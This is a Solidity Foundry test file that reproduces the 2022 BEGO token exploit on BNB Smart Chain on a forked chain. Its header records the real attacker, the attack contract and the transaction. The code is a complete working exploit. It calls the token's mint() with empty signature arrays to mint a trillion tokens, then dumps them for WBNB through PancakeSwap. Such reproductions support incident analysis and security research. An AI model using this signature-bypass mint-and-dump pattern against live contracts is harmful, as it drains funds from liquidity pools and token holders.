src/test/2022-10/BEGO_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~12 WBNB
8// Attacker : 0xde01f6Ce91E4F4bdB94BB934d30647d72182320F
9// Attack Contract : 0x08a525104Ea2A92aBbcE8e4e61C667eED56f3B42
10// Vulnerable Contract : 0xc342774492b54ce5F8ac662113ED702Fc1b34972
11// Attack Tx : https://bscscan.com/tx/0x9f4ef3cc55b016ea6b867807a09f80d1b2e36f6cd6fccfaf0182f46060332c57
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/token/0xc342774492b54ce5f8ac662113ed702fc1b34972#code#L1257
15 
16// @Analysis
17// Twitter alert by Ancilia : https://twitter.com/AnciliaInc/status/1582828751250784256
18// Twitter alert by Peckshield : https://twitter.com/peckshield/status/1582892058800685058
19 
20interface BEGO20 is IERC20 {
21    function mint(uint256, string memory, address, bytes32[] memory, bytes32[] memory, uint8[] memory) external;
22}
23 
24contract ContractTest is Test {
25    BEGO20 constant BEGO_TOKEN = BEGO20(0xc342774492b54ce5F8ac662113ED702Fc1b34972);
26    IWBNB constant WBNB_TOKEN = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
27    Uni_Router_V2 constant PS_ROUTER = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
28 
29    function setUp() public {
30        vm.createSelectFork("bsc", 22_315_679);
31        // Adding labels to improve stack traces' readability
32        vm.label(address(WBNB_TOKEN), "WBNB");
33        vm.label(address(BEGO_TOKEN), "BEGO");
34        vm.label(address(PS_ROUTER), "PS_ROUTER");
35        vm.label(0x88503F48e437a377f1aC2892cBB3a5b09949faDd, "WBNB_BEGO_PAIR");
36    }
37 
38    function testExploit() public {
39        emit log_named_decimal_uint(
40            "[Start] Attacker WBNB balance before exploit", WBNB_TOKEN.balanceOf(address(this)), 18
41        );
42 
43        bytes32[] memory _r = new bytes32[](0);
44        bytes32[] memory _s = new bytes32[](0);
45        uint8[] memory _v = new uint8[](0);
46        // Actual payload exploiting the vulnerability in the `mint()` function
47        BEGO_TOKEN.mint(1_000_000_000_000 * 1e18, "t", address(this), _r, _s, _v);
48 
49        // Swap all minted BEGO to WBNB via PancakeSwap for profit dumping the price
50        _BEGOToWBNB();
51 
52        emit log_named_decimal_uint(
53            "[End] Attacker WBNB balance after exploit", WBNB_TOKEN.balanceOf(address(this)), 18
54        );
55    }
56 
57    /**
58     * Auxiliary function to swap all BEGO to WBNB
59     */
60    function _BEGOToWBNB() internal {
61        BEGO_TOKEN.approve(address(PS_ROUTER), type(uint256).max);
62        address[] memory path = new address[](2);
63        path[0] = address(BEGO_TOKEN);
64        path[1] = address(WBNB_TOKEN);
65        PS_ROUTER.swapExactTokensForTokensSupportingFeeOnTransferTokens(
66            BEGO_TOKEN.balanceOf(address(this)), 0, path, address(this), block.timestamp
67        );
68    }
69}